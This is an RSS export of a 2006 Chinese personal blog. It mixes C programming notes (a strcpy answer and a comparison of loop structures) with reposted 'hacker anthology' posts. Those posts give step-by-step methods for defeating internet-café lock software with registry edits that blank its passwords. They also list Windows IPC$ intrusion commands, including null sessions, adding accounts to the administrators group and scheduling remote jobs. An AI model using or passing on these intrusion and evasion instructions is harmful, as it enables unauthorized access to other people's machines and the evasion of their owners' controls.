&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;char *address = strDest;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 2分 <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;while( (*strDest++ = * strSrc++) != &lsquo;\0&rsquo; )&nbsp;&nbsp;&nbsp; // 2分 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;NULL ;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;return address ;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 2分 <br />
&nbsp;} <br />
&nbsp;<br />
&nbsp;&nbsp;&nbsp; （2）strcpy 能把 strSrc 的内容复制到 strDest，为什么还要 char *&nbsp; 类型的返回值？ <br />
&nbsp;&nbsp;&nbsp;&nbsp; 答：为了实现链式表达式。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 2 分 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 例如&nbsp; int length = strlen( strcpy( strDest, &ldquo;hello world&rdquo;) ); </strong ></p > 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%B1%E0%B3%CC%D1%A7%CF%B0">编程学习</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/08bfc2bff46bb50a18d81fb6.html#comment">查看评论</a>]]></description>
        <pubDate>2006/10/11  13:35</pubDate>
        <category><![CDATA[编程学习]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/08bfc2bff46bb50a18d81fb6.html</guid>
</item>

<item>
        <title><![CDATA[两个 for 循环的优缺点]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/001ed92a5eb3102dd52af1b6.html]]></link>
        <description><![CDATA[
		
		<strong >两个 for 循环的优缺点&nbsp;<br />
&nbsp;<br />
for (i=0; i&lt;N; i++)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (condition) <br />
{&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (condition)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | &nbsp;&nbsp;for (i=0; i&lt;N; i++) <br />
&nbsp;&nbsp;&nbsp;&nbsp; DoSomething();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; DoSomething(); <br />
&nbsp;&nbsp; else&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp; DoOtherthing(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;|&nbsp;&nbsp;&nbsp;&nbsp; else <br />
} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;for (i=0; i&lt;N; i++)&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp; DoOtherthing(); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; } <br />
优点：程序简洁 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;优点：循环的效率高<br />
缺点：多执行了 N-1 次逻辑&nbsp;&nbsp;&nbsp; |<br />
判断，并且打断了循环&ldquo;流水 |&nbsp;缺点：程序不简洁 <br />
线&rdquo;作业，使得编译器不能对 |<br />
循环进行优化处理，降低了效 |<br />
率。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</strong > 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%B1%E0%B3%CC%D1%A7%CF%B0">编程学习</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/001ed92a5eb3102dd52af1b6.html#comment">查看评论</a>]]></description>
        <pubDate>2006/10/11  13:33</pubDate>
        <category><![CDATA[编程学习]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/001ed92a5eb3102dd52af1b6.html</guid>
</item>

<item>
        <title><![CDATA[破解网吧权限(转)]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/a20b5ae759381a2eb83820b5.html]]></link>
        <description><![CDATA[
		
		<p ><strong >下面的是超级连接,这里显示不出来,地址为: <br />
</strong ><a href="http://www.kkkip.com/bbs/dispbbs.asp?boardID=1&amp;RootID=2870&amp;ID=2870" ><strong >http://www.kkkip.com/bbs/dispbbs.asp?boardID=1&amp;RootID=2870&amp;ID=2870</strong ></a ><strong > <br />
在线查出万象幻境各项密码 <br />
在线破解美屏系统设置密码 <br />
解除对文件下载的限制 <br />
解除对注册表编辑器的锁定 <br />
破解网吧幽灵 <br />
在线清除还原精灵 <br />
在线下载系统（网际快车） <br />
在线控制硬盘资源 <br />
解除internet选项里的权限限制 <br />
恢复各网站注册表的改动 <br />
############################################ <br />
网吧权力限制我将之分成三级： <br />
初级 <br />
　1．禁止&ldquo;运行&rdquo;; <br />
　2．禁止使用菜单条上的右键； <br />
　3．屏蔽本地硬盘（通过修改注册表）; <br />
　4．屏蔽IE中的文件菜单; <br />
　5．禁止IE下载; <br />
　6．不提供TE(只提供去掉TE的QQ); <br />
　　中级 <br />
　中级除初级所有的限制外还有: <br />
　1。禁止使用WINZIP; <br />
　2。禁止使用实核DOS; <br />
　3。禁止导入REG文件; <br />
　4。禁止导入INF文件; <br />
　5。禁止使用组合键(主要是WIN开始+?,SHIFT+?,ALT+?); <br />
　　高级 <br />
　　高级中除了初,中级所有的限制外还有 <br />
　1。开机屏蔽F4,F5和F8键; <br />
　2。屏蔽MS-DOS方式; <br />
　3。屏蔽鼠标右键; <br />
　4。禁止是使用REGEDIT; <br />
　　(这高级类我个人认为纯属变态行为，因为机子一旦出了什么问题，那就%#%@!#@*&amp;&hellip;&hellip;，不过好在只要能进入WINDOWS的话，咱就有办法绕过去^_^) <br />
　　当然一定还有的就是&mdash;&mdash;美萍。 <br />
　　好了，我就挨个挨个的说其对策吧。 <br />
　　对于初级 <br />
　　用&ldquo;WIN开始&rdquo;＋D，刷新桌面。在美萍下的桌面实际是美萍指定的一个目录，而原桌面则被隐藏了，刷新是对原桌面的刷新，只要你不切换其他窗口，我的电脑等将会一直存在于桌面之上。你要做的是：打开我的电脑，然后再点向上，就可以把桌面以窗口的形式打开了（因为硬盘是被屏蔽掉的，当我们打开我的电脑时将什么都看不见），此时你要做的是新建一个文本文档输入这么几行: </strong ></p >
<p ><strong >REGEDIT4 </strong ></p >
<p ><strong >[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer] <br />
&quot;NoDrives&quot;=dword:00000000 </strong ></p >
<p ><strong >另存为随便一个REG文件就可以了，之后你要做的就是导入它(理解为运行它也行),等你再次开机时打开我的电脑就会看见那可爱的C:盘呀D:盘呀就又回来啦.当然你如果不想看见美萍,也行,只要把文档的内容改改就行了: </strong ></p >
<p ><strong >REGEDIT4 </strong ></p >
<p ><strong >[HKEY_LOCAL_MACHINESoftwareMpsoftSmenu] <br />
&quot;exitpassword&quot;=&quot;i&quot; <br />
&quot;setuppassword&quot;=&quot;i&quot; <br />
&quot;quitpassword&quot;=&quot;i&quot; </strong ></p >
<p ><strong >继续导入它,重启后你就放心大胆的退出美萍吧,此时它的密码可是什么都没有哟＾_＾但愿你不要干坏事。 <br />
　　此外我们还可以通过&ldquo;查找&rdquo;来绕过美萍(自然是用&ldquo;WIN&rdquo;+F啦)。网吧老板们大都因为屏蔽了硬盘而对次热键大开绿灯。为什么会这样呢?其实原因也是再简单不过的了,因为你在搜索栏内找不到本地硬盘,如果你选择我的电脑来进行查找如COMMAND等的文件时一定会被告知&ldquo;找不到&rdquo;。但我要说的是他们的如意算盘又打错了，搜索栏中是可以输入的。在上面如输入&ldquo;C:&rdquo;然后再找&ldquo;COMMAND&rdquo;，哈，找到的可就是一大堆的东东了。此时如运行COMMAND.COM是可是进入DOS,打开WINDOWSCOMMAND就是用窗口形式打开此目录的。这样一来，咱又可以对本地硬盘进行访问啦。 <br />
　　对于中级 <br />
　　因为禁止导入REG文件，所以我们无法通过导入注册表的方法来实现访问，又由于禁止使用WINZIP，所以此方法也失灵，禁用&ldquo;查找&rdquo;，所以&hellip;&hellip;。但你不要认为我们就真的没办法绕过去了，方法多多，看你能否想的到咯。 <br />
　　嘿嘿&hellip;&hellip;我们要用的还是IE。在IE地址栏中用中文输入&ldquo;桌面&rdquo;回车。如此一来我们熟悉的桌面又以窗口的形式打开啦~现在我们要做的和上面要做的一样：新建一个文本文档，然后输入这么一行 </strong ></p >
<p ><strong >C:COMMAND.COM <br />
当然此时我们就的把他另存为批处理文件啦。随便的一个文件名后加上.BAT就可以了，然后运行它。哈，我们又跳入了DOS了(注意的是此时是没办法用REGEDIT来修改注册表的,如果美萍是6.5版以上的注册表修改器将会是一闪而过。我们是无法使用的。）跳入DOS后一般是没有限制的。然后&hellip;&hellip;嘿嘿&hellip;&hellip;不说什么了吧:&gt; <br />
　　对于高级 <br />
　　咱是没话说了。开机屏蔽F4，F5，F8我们不能从开机时下手；屏蔽MS-DOS，咱不能使用批处理文件和进入MS-DOS方式(也不能玩DOS游戏,相信此网吧里是不会提供游戏的,那儿也只可能有IE和去掉TE的QQ)；屏蔽鼠标右键菜单，我们不能新建文件；估计此时网吧里应该用的是超级兔子中的安全限制全选+屏蔽本地硬盘+美萍来限制大家的。估计你看到这时想必要嚎啕大哭一场，别，请珍惜这世界上的每一滴水，放心什么都挡不住咱：） <br />
　　不过呢，到此我们再也找不到老板们的防御漏洞了。没办法，只好用美萍和IE的了。 <br />
　　和中级说的一样，在IE的地址栏中输入如我的文档或桌面等，我的文档和桌面将会以窗口的形式打开。别忘了此时你只有一个左键，打消你通过建立文件来绕过美萍的念头吧。此时你要做的工作只有一个：查找。找什么呢？找一个快捷方式的文件，找到后点上它。不知你注意过IE没？工具栏上是有一个属性按钮的。点属性。我们将看见有目标和其始位置的，注意一下其始位置吧，它是本地硬盘上的一个目录的，好~接下来点查找目标，咦~是不是又到了本地硬盘上了？不过这个目录是不是很眼熟？对了~就是刚才那个目标目录。好了现在我们已经完成了对本地硬盘进行访问的目的了。什么？你的QQ的聊天记录不能DEL掉？唉~别按DEL键呀，它可是有可能被屏蔽掉了哟。点IE上的删除吧(就是那个叉叉)。怎么？认为权限太少？，那你别忙呀，解铃还需系铃人。找兔子吧，一般的说它在硬盘上的某处。根据大家的习惯来看，它不是在C盘的TOOLS下就是在D盘上的TOOLS下。其实你也别想着更多的权限了。大家想做的不就是想把自己的上网记录删除么？阿云我告诉你他们的地址不就完了？不用那么麻烦的。 <br />
　CROGRAM FILSQICQ你的号码(也可能是是cROGRAM FILESTENCENT你的号码) 这是QQ的聊天记录; <br />
　C:WINDOWSCOOKIES 这是你网上个帐号的密码保存处; <br />
嘿,删了不就完了? <br />
　　写到这儿,我也没什么好说的了,最后自然的给大家介绍介绍经验了. <br />
　1。确认本地禁止导入REG文件的方法:看看REG文件是不是只能以文本文件打开，如是的话则被屏蔽。 <br />
　2。确认禁用组合键，用QQ。哈，又是QQ。把QQ的热键设为ALT+Z，按下ALT+Z看看QQ能否弹出，如不能，则被屏蔽 <br />
　3。确认屏蔽鼠标右键菜单。这个就比较简单了，屏蔽了就是无论在桌面或目录的下点右键都不会有菜单的弹出。 <br />
哦~对了，我还的补充几点，先别嫌我烦，等我把话说完。 <br />
　1。我们还可以通过网络邻居的。把目录设为完全共享，通过网络邻居访问本机，之后&hellip;&hellip;。当你以网络邻居的身份访问本机时，哈，一切烦人的权限限制就都没啦。什么？你不知道这么设？哈，是属性里的哟，自己看吧。 <br />
　2。桌面其实是本地硬盘上的一块区域(是C:WINDOWSDESKTOP目录)。 <br />
　3。网吧里的QQ一定有一个备份在本地硬盘上的而且一般会在D盘如TOOLS，DOWNLOADS或BACKUP之类的目录下的，自己用心找找，找到后重新安装，把原来的QQ覆盖掉后，嘿~久别的TE又回来啦。 <br />
　4。如进入DOS模式，权大家还是多用内部命令，少用外部命令。因为外部命令是可改名的，况且杀伤太大，一不小心&hellip;&hellip; <br />
　5。网吧里最好不要用木马，一来是阿云我不赞成，二来是很容易被对方发现，如果你因次多了两只熊猫眼嘛~可别怪我没提醒你哟~ <br />
　6。如果你找不到那些快捷方式，哈去点IE的最左上角，可以拉一个快捷方式的，改改其始位置后就可以了~ </strong ></p >
<p ><strong ><br />
</strong ></p > 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%BA%DA%BF%CD%CE%C4%BC%AF">黑客文集</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/a20b5ae759381a2eb83820b5.html#comment">查看评论</a>]]></description>
        <pubDate>2006/10/11  13:28</pubDate>
        <category><![CDATA[黑客文集]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/a20b5ae759381a2eb83820b5.html</guid>
</item>

<item>
        <title><![CDATA[黑客入侵中最常用的网络命令(转)]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/cc2938d39dd083003bf3cfb5.html]]></link>
        <description><![CDATA[
		
		<p ><strong >*net user 查看用户列表<br />
*net user 用户名 密码 /add 添加用户<br />
*net user 用户名 密码 更改用户密码<br />
*net localgroup administrators 用户名 /add 添加用户到管理组<br />
*net user 用户名 /delete 删除用户<br />
*net user 用户名 查看用户的基本情况<br />
*net user 用户名 /active:no 禁用该用户<br />
*net user 用户名 /active:yes 启用该用户</strong ></p >
<p ><strong >*net share 查看计算机IPC$共享资源<br />
*net share 共享名 查看该共享的情况<br />
*net share 共享名=路径 设置共享。例如 net share c$=c:<br />
*net share 共享名 /delete 删除IPC$共享</strong ></p >
<p ><strong >*net use 查看IPC$连接情况<br />
*net use </strong ><a href="file:////ip/ipc$" ><strong >\\ip\ipc$</strong ></a ><strong > &quot;密码&quot; /user:&quot;用户名&quot; ipc$连接</strong ></p >
<p ><strong >*net time </strong ><a href="file:////ip" ><strong >\\ip</strong ></a ><strong > 查看远程计算机上的时间</strong ></p >
<p ><strong >*copy 路径:\文件名 </strong ><a href="file:////ip/" ><strong >\\ip\</strong ></a ><strong >共享名 复制文件到已经ipc$连接的计算机上</strong ></p >
<p ><strong >*net view ip 查看计算机上的共享资源</strong ></p >
<p ><strong >*ftp 服务器地址 进入FTP服务器</strong ></p >
<p ><strong >*at 查看自己计算机上的计划作业<br />
*at </strong ><a href="file:////ip" ><strong >\\ip</strong ></a ><strong > 查看远程计算机上的计划作业<br />
*at </strong ><a href="file:////ip" ><strong >\\ip</strong ></a ><strong > 时间 命令(注意加盘符) 在远程计算机上加一个作业<br />
*at </strong ><a href="file:////ip" ><strong >\\ip</strong ></a ><strong > 计划作业ID /delete 删除远程计算机上的一个计划作业<br />
*at </strong ><a href="file:////ip" ><strong >\\ip</strong ></a ><strong > all /delete 删除远程计算机上的全部计划作业</strong ></p > 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%BA%DA%BF%CD%CE%C4%BC%AF">黑客文集</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/cc2938d39dd083003bf3cfb5.html#comment">查看评论</a>]]></description>
        <pubDate>2006/10/11  13:27</pubDate>
        <category><![CDATA[黑客文集]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/cc2938d39dd083003bf3cfb5.html</guid>
</item>

<item>
        <title><![CDATA[利用ipc$入侵的相关命令(转)]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/53f46d277839c203908f9db5.html]]></link>
        <description><![CDATA[
		
		<p ><strong ><font size="3" >利用ipc$入侵的相关命令：<br />
我们在入侵的时候难免遇到忘记命令的时候，现在将我所知道的一些命令总结出来提供给各位。通过这些命令可以解决很大一部分新手的问题。<br />
00:net use<br />
&nbsp;&nbsp;&nbsp; 作用：连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息。 <br />
　　命令格式： <br />
&nbsp;&nbsp;&nbsp; net use [devicename | *] [\\\\computername\\sharename[\\volume]] [password |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *]] [/user:[domainname\\]username] [[/delete] | [/persistent:{yes | no}]] <br />
&nbsp;&nbsp;&nbsp; 参数介绍： <br />
&nbsp;&nbsp;&nbsp; (1)键入不带参数的net use列出网络连接。 <br />
　　(2)devicename指定要连接到的资源名称或要断开的设备名称。 <br />
　　(3)\\\\computername\\sharename服务器及共享资源的名称。 <br />
　　(4)password访问共享资源的密码。 <br />
　　(5)*提示键入密码。 <br />
　　(6)/user指定进行连接的另外一个用户。 <br />
　　(7)domainname指定另一个域。 <br />
　&nbsp; (8)username指定登录的用户名。 <br />
　　(9)/home将用户连接到其宿主目录。 <br />
　　(10)/delete取消指定网络连接。 <br />
　　(11)/persistent控制永久网络连接的使用。<br />
01: net use </font ></strong ><a ><strong ><font size="3" >\\\\X.X.X.X\\ipc$</font ></strong ></a ><strong ><font size="3" > \&quot;\&quot; /user:\&quot;\&quot;&nbsp; 建立空连接<br />
02: net use </font ></strong ><a ><strong ><font size="3" >\\\\X.X.X.X\\ipc$</font ></strong ></a ><strong ><font size="3" > \&quot;密码\&quot; /user:\&quot;用户名\&quot; 建立非空连接<br />
03: net use </font ></strong ><a ><strong ><font size="3" >\\\\X.X.X.X\\ipc$</font ></strong ></a ><strong ><font size="3" > /del 删除连接<br />
04: net time </font ></strong ><a ><strong ><font size="3" >\\\\X.X.X.X</font ></strong ></a ><br />
<strong ><font size="3" >&nbsp;&nbsp;&nbsp; 作用：使计算机的时钟与另一台计算机或域的时间同步。 <br />
　　命令格式：net time [\\\\computername | /domain[:name]] [/set] <br />
　　参数介绍： <br />
　　(1)\\\\computername要检查或同步的服务器名。 <br />
　　(2)/domain[:name]指定要与其时间同步的域。 <br />
　　(3)/set使本计算机时钟与指定计算机或域的时钟同步。<br />
05: net view </font ></strong ><a ><strong ><font size="3" >\\\\X.X.X.X</font ></strong ></a ><br />
<strong ><font size="3" >　　作用：显示域列表、计算机列表或指定计算机的共享资源列表。 <br />
　　命令格式：net view [\\\\computername | /domain[:domainname]] <br />
　&nbsp; 参数介绍： <br />
&nbsp;&nbsp;&nbsp; (1)键入不带参数的net view显示当前域的计算机列表。 <br />
　　(2)\\\\computername 指定要查看其共享资源的计算机。 <br />
　　(3)/domain[:domainname]指定要查看其可用计算机的域。<br />
06: net use X: </font ></strong ><a ><strong ><font size="3" >\\\\X.X.X.X\\Y</font ></strong ></a ><strong ><font size="3" >&nbsp; 将共享名为Y的共享资源映射为本地X盘<br />
07: net use X: /del 删除映射的X盘<br />
08: net share<br />
&nbsp;&nbsp;&nbsp; 作用：创建、删除或显示共享资源。 <br />
　　命令格式：net share share name=drive:path [/users:number | /unlimited]&nbsp;&nbsp;&nbsp;&nbsp; [/remark:\&quot;text\&quot;] 　　 <br />
&nbsp;&nbsp;&nbsp; 参数介绍：(1)键入不带参数的net share显示本地计算机上所有共享资源的信息。 　&nbsp; (2)sharename是共享资源的网络名称。 <br />
　　(3)drive:path指定共享目录的绝对路径。 <br />
&nbsp;&nbsp;&nbsp; (4)/users:number设置可同时访问共享资源的最大用户数。 <br />
　　(5)/unlimited不限制同时访问共享资源的用户数。 <br />
　　(6)/remark:\&quot;text \&quot;添加关于资源的注释，注释文字用引号引住。 <br />
09: net user<br />
&nbsp;&nbsp;&nbsp; 作用：添加或更改用户帐号或显示用户帐号信息。 <br />
&nbsp;&nbsp;&nbsp; 该命令也可以写为 net users <br />
　　命令格式：net user [username [password | *] [options]] [/domain] <br />
　　参数介绍：(1)键入不带参数的net user查看计算机上的用户帐号列表。 <br />
　　(2)username添加、删除、更改或查看用户帐号名。 <br />
　　(3)password为用户帐号分配或更改密码。 <br />
　　(4)*提示输入密码。 <br />
　　(5)/domain在计算机主域的主域控制器中执行操作。<br />
10: net start 作用：启动服务，或显示已启动服务的列表。<br />
11: net pause 作用：暂停正在运行的服务。<br />
12: net Continue 作用：重新激活挂起的服务。<br />
13: net stop<br />
&nbsp;&nbsp;&nbsp; 作用：停止 Windows NT 网络服务。 <br />
　　命令格式：net stop service <br />
　　参数介绍： <br />
　　(1)alerter(警报) <br />
　　(2)client service for netware(Netware 客户端服务) <br />
　　(3)clipbook server(剪贴簿服务器) <br />
　　(4)computer browser(计算机浏览器) <br />
　　(5)directory replicator(目录复制器) <br />
　　(6)ftp publishing service (ftp )(ftp 发行服务) <br />
　　(7)lpdsvc <br />
　　(8)net logon(网络登录) <br />
　　(9)network dde(网络 dde) <br />
　　(10)network dde dsdm(网络 dde dsdm) <br />
　　(11)network monitor agent(网络监控代理) <br />
　　(12)nt lm security support provider(NT LM 安全性支持提供) <br />
　　(13)ole(对象链接与嵌入) <br />
　　(14)remote access connection manager(远程访问连接管理器) <br />
　　(15)remote access isnsap service(远程访问 isnsap 服务) <br />
　　(16)remote access server(远程访问服务器) <br />
　　(17)remote procedure call (rpc) locator(远程过程调用定位器) <br />
　　(18)remote procedure call (rpc) service(远程过程调用服务) <br />
　　(19)schedule(调度) <br />
　　(20)server(服务器) <br />
　　(21)simple tcp/ip services(简单 TCP/IP 服务) <br />
　　(22)snmp <br />
　　(23)spooler(后台打印程序) <br />
　　(24)tcp/ip netbios helper(TCP/IP NETBIOS 辅助工具) <br />
　　(25)ups <br />
　　(26)workstation(工作站) <br />
　　(27)messenger(信使) <br />
　　(28)dhcp client <br />
　　(29)eventlog <br />
14:net Statistics <br />
　　作用：显示本地工作站或服务器服务的统计记录。 <br />
　　命令格式：net statistics [workstation | server] <br />
　　参数介绍：(1)键入不带参数的net statistics列出其统计信息可用的运行服务。 <br />
　&nbsp; (2)workstation显示本地工作站服务的统计信息。 <br />
　　(3)server显示本地服务器服务的统计信息。 　 <br />
　&nbsp; 例：net statistics server | more显示服务器服务的统计信息。<br />
15:net Session ( 等同于net sessions 或net sess)<br />
　作用：列出或断开本地计算机和与之连接的客户端的会话.<br />
　命令格式：net session [\\\\computername] [/delete] <br />
　参数介绍：(1)键入不带参数的net session显示所有与本地计算机的会话的信息。 <br />
&nbsp; (2)\\\\computername标识要列出或断开会话的计算机。 <br />
　举例说明： net session </font ></strong ><a ><strong ><font size="3" >\\\\cnse8</font ></strong ></a ><strong ><font size="3" >要显示计算机名为cnse8的客户端会话信息列表。 </font ></strong ></p >
<p ><strong ><font size="3" >15: net user 帐号名 密码 /add 添加帐号和密码<br />
16: net user 帐号名 /active:yes 激活帐号<br />
17: net localgroup administrators 帐号名 /add 将该帐号加入本地admin组<br />
18: Net Send <br />
　　作用：向网络的其他用户、计算机或通信名发送消息。 <br />
　　命令格式：net send {name | * | /domain[:name] | /users} message <br />
　　参数介绍：(1)name要接收发送消息的用户名、计算机名或通信名。 <br />
　&nbsp; (2)*将消息发送到组中所有名称。 <br />
　　(3)/domain[:name]将消息发送到计算机域中的所有名称。 <br />
　　(4)/users将消息发送到与服务器连接的所有用户。 <br />
　　(5)message作为消息发送的文本。 <br />
　　例:(1)net send /users Welcome to cnse8.com 向所有的连接本机的用户显示&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \&quot;Welcome to cnse8.com\&quot;<br />
19:net Config <br />
　 作用：显示当前运行的可配置服务，或显示并更改某项服务的设置。 <br />
　 命令格式：net config [service [options]] <br />
&nbsp;&nbsp; 参数介绍：<br />
&nbsp;&nbsp; (1)键入不带参数的net config显示可配置服务的列表。&nbsp; <br />
&nbsp;&nbsp; (2)service通过net config命令进行配置的服务(server或workstation)。 <br />
&nbsp;&nbsp; (3)options服务的特定选项。<br />
20:net Accounts <br />
　 作用：更新用户帐号数据库、更改密码及所有帐号的登录要求。 <br />
　 命令格式：net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [/maxpwage:{days | unlimited}] [/minpwage:days] [/uniquepw:number]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [/domain] <br />
　 参数介绍： <br />
&nbsp;&nbsp; (1)键入不带参数的net accounts显示当前密码设置、登录时限及域信息。 <br />
&nbsp;&nbsp; (2)/forcelogoff:{minutes | no}设置当用户帐号或有效登录时间过期时。 <br />
&nbsp;&nbsp; (3)/minpwlen:length设置用户帐号密码的最少字符数。&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp; (4)/maxpwage:{days | unlimited}设置用户帐号密码有效的最大天数。 <br />
&nbsp;&nbsp; (5)/minpwage:days设置用户必须保持原密码的最小天数。 <br />
&nbsp;&nbsp; (6)/uniquepw:number要求用户更改密码时，必须在经过number次后才能重复使用与&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 之相同的密码。<br />
&nbsp;&nbsp; (7)/domain在当前域的主域控制器上执行该操作。 <br />
